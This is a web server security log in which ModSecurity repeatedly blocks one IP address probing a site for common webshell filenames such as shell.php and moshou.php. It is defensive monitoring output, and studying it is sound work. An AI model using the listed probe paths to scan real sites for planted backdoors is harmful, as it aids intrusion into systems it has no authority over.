[Thu May 07 06:22:43.190811 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:30067] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afu_M_0atTQld9Y2ht_u8QAAAMA"]
[Thu May 07 06:22:43.598527 2026] [:error] [pid 4539:tid 4556] [client 172.202.74.222:30056] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afu_M4PEZE1565sDGnw9JwAAAQ8"]
[Thu May 07 06:22:43.998870 2026] [:error] [pid 4539:tid 4545] [client 172.202.74.222:29979] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "afu_M4PEZE1565sDGnw9KQAAAQQ"]
[Thu May 07 06:22:44.400021 2026] [:error] [pid 29710:tid 29715] [client 172.202.74.222:30078] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_NP0atTQld9Y2ht_u9wAAAMM"]
[Thu May 07 06:22:44.817600 2026] [:error] [pid 29710:tid 29719] [client 172.202.74.222:30048] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_NP0atTQld9Y2ht_u-QAAAMc"]
[Thu May 07 06:22:45.233683 2026] [:error] [pid 4539:tid 4555] [client 172.202.74.222:29891] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_NYPEZE1565sDGnw9LQAAAQ4"]
[Thu May 07 06:22:45.704016 2026] [:error] [pid 4539:tid 4554] [client 172.202.74.222:29888] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "afu_NYPEZE1565sDGnw9LwAAAQ0"]
[Thu May 07 06:22:46.137861 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:30102] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afu_NoPEZE1565sDGnw9MgAAARE"]
[Thu May 07 06:22:46.571759 2026] [:error] [pid 4539:tid 4564] [client 172.202.74.222:30039] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afu_NoPEZE1565sDGnw9NAAAARc"]
[Thu May 07 06:22:46.974620 2026] [:error] [pid 4539:tid 4561] [client 172.202.74.222:29955] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afu_NoPEZE1565sDGnw9NQAAARQ"]
[Thu May 07 06:22:47.385574 2026] [:error] [pid 29607:tid 29677] [client 172.202.74.222:29968] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "afu_N6bP7TJOAh7WSUN1WQAAAIk"]
[Thu May 07 06:22:47.798868 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:29977] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afu_N4PEZE1565sDGnw9OwAAAQA"]
[Thu May 07 06:22:48.202191 2026] [:error] [pid 29605:tid 29636] [client 172.202.74.222:29970] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afu_OInxrTjETioEY0Tq1AAAABY"]
[Thu May 07 06:22:48.709721 2026] [:error] [pid 29606:tid 29662] [client 172.202.74.222:30038] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afu_OBR5HjZ1PlSAiKtthwAAAFU"]
[Thu May 07 06:22:49.082609 2026] [:error] [pid 29605:tid 29638] [client 172.202.74.222:29978] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "afu_OYnxrTjETioEY0Tq1QAAABg"]
[Thu May 07 06:22:49.513975 2026] [:error] [pid 29710:tid 29724] [client 172.202.74.222:29956] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afu_Of0atTQld9Y2ht_vBQAAAMw"]
[Thu May 07 06:22:49.945734 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:29907] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afu_Of0atTQld9Y2ht_vBwAAANg"]
[Thu May 07 06:22:50.367809 2026] [:error] [pid 29607:tid 29692] [client 172.202.74.222:30025] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afu_OqbP7TJOAh7WSUN1YAAAAJg"]
[Thu May 07 06:22:50.783560 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:29965] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "afu_Ov0atTQld9Y2ht_vDAAAANE"]
[Thu May 07 06:22:51.177204 2026] [:error] [pid 29607:tid 29690] [client 172.202.74.222:29971] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afu_O6bP7TJOAh7WSUN1YgAAAJY"]
[Thu May 07 06:22:51.552139 2026] [:error] [pid 29607:tid 29676] [client 172.202.74.222:29992] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afu_O6bP7TJOAh7WSUN1YwAAAIg"]
[Thu May 07 06:22:51.955968 2026] [:error] [pid 29710:tid 29734] [client 172.202.74.222:29920] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afu_O_0atTQld9Y2ht_vEwAAANY"]
[Thu May 07 06:22:52.341648 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:29960] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "afu_PP0atTQld9Y2ht_vFQAAANg"]
[Thu May 07 06:22:52.748136 2026] [:error] [pid 29710:tid 29733] [client 172.202.74.222:30015] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afu_PP0atTQld9Y2ht_vGAAAANU"]
[Thu May 07 06:22:53.151153 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:30010] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afu_PYPEZE1565sDGnw9UwAAAQw"]
[Thu May 07 06:22:53.527003 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:30011] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afu_PYPEZE1565sDGnw9VAAAAQE"]
[Thu May 07 06:22:54.022721 2026] [:error] [pid 29607:tid 29671] [client 172.202.74.222:29964] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "afu_PqbP7TJOAh7WSUN1ZAAAAIM"]
[Thu May 07 06:22:54.430645 2026] [:error] [pid 4539:tid 4552] [client 172.202.74.222:30006] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afu_PoPEZE1565sDGnw9WgAAAQs"]
[Thu May 07 06:22:54.826317 2026] [:error] [pid 29607:tid 29677] [client 172.202.74.222:30040] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afu_PqbP7TJOAh7WSUN1ZwAAAIk"]
[Thu May 07 06:22:55.285909 2026] [:error] [pid 4539:tid 4562] [client 172.202.74.222:29938] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afu_P4PEZE1565sDGnw9XQAAARU"]
[Thu May 07 06:22:55.680050 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:29954] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tews.php"] [unique_id "afu_P4PEZE1565sDGnw9XwAAAQM"]
[Thu May 07 06:22:56.120710 2026] [:error] [pid 4539:tid 4543] [client 172.202.74.222:30005] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afu_QIPEZE1565sDGnw9YQAAAQI"]
[Thu May 07 06:22:56.573325 2026] [:error] [pid 4539:tid 4547] [client 172.202.74.222:29910] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afu_QIPEZE1565sDGnw9YwAAAQY"]
[Thu May 07 06:22:56.989413 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:30012] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afu_QIPEZE1565sDGnw9ZQAAAQc"]
[Thu May 07 06:22:57.376336 2026] [:error] [pid 4539:tid 4545] [client 172.202.74.222:30002] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moshou.php"] [unique_id "afu_QYPEZE1565sDGnw9aQAAAQQ"]
[Thu May 07 06:22:57.855958 2026] [:error] [pid 29606:tid 29655] [client 172.202.74.222:30013] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afu_QRR5HjZ1PlSAiKttigAAAE4"]
[Thu May 07 06:22:58.315844 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:29937] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afu_Qv0atTQld9Y2ht_vJwAAAME"]
[Thu May 07 06:22:58.725383 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:29842] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afu_Qv0atTQld9Y2ht_vKAAAAM0"]
[Thu May 07 06:22:59.161936 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:29928] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afu_Q4PEZE1565sDGnw9cAAAARI"]
[Thu May 07 06:22:59.559975 2026] [:error] [pid 29605:tid 29617] [client 172.202.74.222:30007] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afu_Q4nxrTjETioEY0Tq1wAAAAM"]
[Thu May 07 06:22:59.967965 2026] [:error] [pid 29607:tid 29674] [client 172.202.74.222:29983] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afu_Q6bP7TJOAh7WSUN1cAAAAIY"]
[Thu May 07 06:23:00.398630 2026] [:error] [pid 29607:tid 29687] [client 172.202.74.222:29927] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afu_RKbP7TJOAh7WSUN1cgAAAJM"]
[Thu May 07 06:23:00.832546 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:29845] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afu_RIPEZE1565sDGnw9dAAAARg"]
[Thu May 07 06:23:01.301648 2026] [:error] [pid 29605:tid 29633] [client 172.202.74.222:29919] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afu_RYnxrTjETioEY0Tq2wAAABM"]
[Thu May 07 06:23:01.714303 2026] [:error] [pid 29605:tid 29625] [client 172.202.74.222:29895] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afu_RYnxrTjETioEY0Tq3QAAAAs"]
[Thu May 07 06:23:02.133779 2026] [:error] [pid 29607:tid 29684] [client 172.202.74.222:29908] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afu_RqbP7TJOAh7WSUN1dAAAAJA"]
[Thu May 07 06:23:02.536707 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:29851] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afu_Rv0atTQld9Y2ht_vMAAAAMA"]
[Thu May 07 06:23:02.935130 2026] [:error] [pid 29710:tid 29720] [client 172.202.74.222:29984] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afu_Rv0atTQld9Y2ht_vMQAAAMg"]
[Thu May 07 06:23:03.384386 2026] [:error] [pid 4539:tid 4561] [client 172.202.74.222:29948] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afu_R4PEZE1565sDGnw9eAAAARQ"]
[Thu May 07 06:23:03.779018 2026] [:error] [pid 29607:tid 29681] [client 172.202.74.222:29961] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afu_R6bP7TJOAh7WSUN1dwAAAI0"]
[Thu May 07 06:23:04.180432 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:29897] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afu_SIPEZE1565sDGnw9ewAAARE"]
[Thu May 07 06:23:04.563226 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:30009] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afu_SIPEZE1565sDGnw9fQAAARA"]
[Thu May 07 06:23:04.968004 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:29850] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afu_SIPEZE1565sDGnw9fwAAAQA"]
[Thu May 07 06:23:05.393891 2026] [:error] [pid 4539:tid 4543] [client 172.202.74.222:29942] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afu_SYPEZE1565sDGnw9gQAAAQI"]
[Thu May 07 06:23:05.778686 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:29989] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afu_Sf0atTQld9Y2ht_vPwAAANg"]
[Thu May 07 06:23:06.186277 2026] [:error] [pid 29710:tid 29730] [client 172.202.74.222:29934] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afu_Sv0atTQld9Y2ht_vQAAAANI"]
[Thu May 07 06:23:06.634290 2026] [:error] [pid 29606:tid 29649] [client 172.202.74.222:29922] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afu_ShR5HjZ1PlSAiKttlAAAAEg"]
